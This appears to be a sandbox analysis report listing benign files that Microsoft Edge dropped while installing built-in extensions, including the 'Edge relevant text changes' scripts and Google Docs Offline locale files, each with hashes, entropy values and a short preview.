.O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8136_1233361971\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8136_1233361971\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8136_1233361971\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8136_1233361971\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
